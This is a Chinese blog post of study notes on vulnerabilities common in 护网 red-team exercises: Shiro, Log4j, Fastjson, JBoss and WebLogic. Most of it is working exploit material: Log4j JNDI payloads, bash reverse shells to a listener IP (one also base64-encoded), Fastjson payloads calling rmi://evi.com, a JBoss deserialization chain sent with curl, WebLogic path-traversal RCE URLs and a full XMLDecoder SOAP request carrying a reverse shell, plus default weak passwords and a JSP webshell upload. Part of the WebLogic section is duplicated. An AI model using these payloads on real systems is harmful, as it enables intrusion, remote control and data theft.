5.9-15护网常考漏洞
1、中间件漏洞
态势感知(SA):situation awareness
2、常见软件服务漏洞
shiro550和721漏洞区别;
java框架,4a认证,认证授权会话加密。
登录后有个remember me选项,记住会话,验证时先看remember me 选项是否勾选
;若勾选,将用户身份序列化,再AES加密,之后base64编码;
之后将处理好的内容,放入cookie的remember字段,此时客户端发送请求,带着cookie,对其中remember字段进行解码解密反序列化,获取身份;
shiro550(CVE-2016-4437)
版本Apache Shiro < 1.2.4,vulhub中 CVE-2016-4437;
抓包登录过程中,登录就会有set-cookie,失败cookie会加remember=deleteme;成功则会返回AES+base64后的数据
不管成功失败,回显remember,直接利用漏洞验证工具
区别:550使用的是已知密钥碰撞,密钥固定,只要密钥库足够**(不需要Remember Cookie,721需要)
721的ase加密的key猜不到,随机生成,即利用有效的构造RemerberMe cookie值实现反序列化漏洞;
shiro550不用输入密钥,即可爆破出密钥
shiro721(CVE-2019-12422)
版本Apache Shiro < 1.2.4;
秘钥不再写死,不知密钥的前提下构造序列化的数据;抓包判断shiro框架,直接攻击爆破密钥
原理: shiro提供加解密,利用解密器;利用shiro分组解密提供的密文,解密后对明文填充,计算中间值,得到明文值,再进而篡改序列化数据;
3、log4j漏洞讲解(CVE-2021-44228)
版本<2.14.0前;look up功能注入,在log4j配置文件任意位置添加值的方法,存在jndi,在日志输出是未对其内容过滤,造成jndi协议加载远程恶意代码;实现远程代码执行(RCE)
${jndi:rmi://xxxx:1009/evil};
攻击者定义一个接口,携带lookup支持表达式请求服务器操作,log4j打印请求信息,之后执行jndi操作;
DNSlog请求一个回显地址,构造payloadhttp://192.168.127.138:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.cku231.dnslog.cn}
既可看到回显java版本,下载专用验证工具;通过java中的JNDI 访问ldap协议的服务。
另起攻击机监听端口nc -lvvp 8888
本机ip为10.133.6.123,靶机编码反弹shell命令;
#bash反弹命令 bash -i >& /dev/tcp/10.133.6.123/8888 0>&1
进行base64编码YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzMuNi4xMjMvODg4OCAwPiYx
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "192.168.127.138"
修复:升级版本到2.17以上,禁止jndi加载远程资源;
log4j(CVE-2017-5645)反序列化
使用ysoserial制作特定payload,在组件字节序列化对象时,触发payload代码;主要是处理ObjectInputStream时,接受函数对于不可靠来input没用过滤;通过反序列化达到RCE代码执行(高危)
4、fastjosn反序列化远程命令执行漏洞
阿里的json解析器,java语言中的json库;用于json和java对象转换;
版本:<1.2.66
1.2.24及以下 主要是因为,没有对序列化的类做校验,导致漏洞产生;
1.2.25-1.2.41增加了黑名单限制,更改`autoType`默认为关闭选项,加入了checkAutotype,部分未过滤L;。
1.2.42版本是对1.2.41及以下版本的黑名单绕过(双写LL;;),代码内更新字符串黑名单为hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本 利用`fastjson`处理`Class`类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本 `Class`不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类`AutoCloseable`来绕过`fastjson`校验
1.2.72-1.2.80使用期望类Throwable的子类,进行饶过
判断:
- 模拟post传参,json数据尝试
- 报错:com.ailibaba.fastjson.JSON
<1.2.24反序列化远程命令执行复现
vulhub启动环境,用java加载调用恶意文件环境,再使用该环境加载恶意类;
通过控制URL参数调用RMI(****Remote Method Invocation,远程方法调用)协议的序列化数据(注:rmi执行命令时不回显)
update-alternatives --config java
替换java环境;
下载marshalsec辅助开启JAVA RMI环境:
git clone https://github.com/mbechler/marshalsec
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型,未过滤type类
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}
2019 年,fastjson 又被爆出在 fastjson< =1.2.47
1.2.47版本 poc:
{
"a":{
"@type":"java.lang.Class", 读取被加载错误类型
"val":"com.sun.rowset.JdbcRowsSetlmpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetlmpl", 读取被加载错误类型
"dataSourceName":"rmi://evi.com:9999/dnslog", 一个机器执行另一台机器的命令
"autoCommit":true
}
}
5、jboss弱口令
web服务器,管理路径jmx-console/和/web-console默认弱口令admin/vulhub;版本 <4.x,
**版本:jboss 6.1.x
访问http://192.168.127.138:8080/invoker/readonly
返回500状态码则该组件存在漏洞
使用joboss漏洞验证工具验证,并实现命令执行;
JBoss漏洞 CVE-2017-7504
JBoss AS 4.x及之前版本,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
访问http://192.168.127.138:8080/jbossmq-httpil/HTTPServerILServlet
即验证存在漏洞
构造payload,选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据。
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
执行完成之后,生成一个ExampleCommonsCollections1WithHashMap.class文件
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/10.133.6.123/8888 0>&1"
我们在kali进行监听。
nc -lvp 4444
发射,将该文件作为请求数据主体发送如下数据包。
curl http://192.168.127.138:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
监听是否反弹成功;
5.x和6.x路径为/jmx-console/和/admin-console/,默认密码存储:jboss/server/default/conf/props/jmx-console-users.properties
6、weblogic
基于javaee的中间件;
ssrf,版本10.0.2-10.3.6 探测内网服务,进行攻击redis、fastcgi等,ssrf反弹shell,反向链接
修复:升级版本补丁;限制/删除uddiexplorer应用只能内网访问;讲将SearchPublicRegistries.jsp直接删除
文件上传;
访问/ws_utc/config.do(未授权访问)
常见弱口令
弱口令:weblogic/Oracle@123
用户名:weblogic、system、admin、WebLogic
密码:weblogic、weblogic123、password、security、system、admin、WebLogic
文件上传
该入口上传jsp小马;
新建文件夹,里面放小-马,使用命令打包小马;上传打包后的test.war文件
jar -cvf test.war .
一直下一步部署完成后,连接小马;默认密码rebeyond
Weblogic 未授权远程命令执行漏洞(CVE-2020-14882,结合CVE-2020-14883命令执行)
=Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。=
直接使用POC,访问url,http://192.168.127.138:7001/console/images/%252E%252E%252Fconsole.portal
或http://192.168.127.138:7001/console/css/%252E%252E%252Fconsole.portal
中间%252e%是经常两次编码的../,目录穿越
结合远程代码执行: 两种方法
,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:(利用DNSLOG)
poc,`http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%203is2n8.dnslog.cn');")
- 本地网站,创建xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl g1f55g.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
之后访问
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.133.6.123/weblogic.xml"
Weblogic SSRF漏洞(CVE-2014-4210)
影响版本:weblogic 版本10.0.2
weblogic 版本10.3.6,漏洞路径ip/uddiexplorer/SearchPublicRegistries.jsp
结合远程代码执行: 两种方法
,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:(利用DNSLOG)
poc,`http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%203is2n8.dnslog.cn');")
- 本地网站,创建xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl g1f55g.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
之后访问
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.133.6.123/weblogic.xml"
Weblogic SSRF漏洞(CVE-2014-4210)
影响版本:weblogic 版本10.0.2
weblogic 版本10.3.6,漏洞路径ip/uddiexplorer/SearchPublicRegistries.jsp
填写表单抓包;
修改表单数据包,即可进行内网探测;
回显404表示端口正在被占用(开启);使用脚本探测可节约时间
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
存在,利用jar验证工具;
另一种POC验证**
访问到受影响版本:
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
访问到url http://192.168.127.138:7001/wls-wsat/RegistrationRequesterPortType
存在反序列化漏洞
构造POC如下,监听主机得到回显验证成功:
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host:192.168.127.138:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 857
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.133.6.123/444 0>&1</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!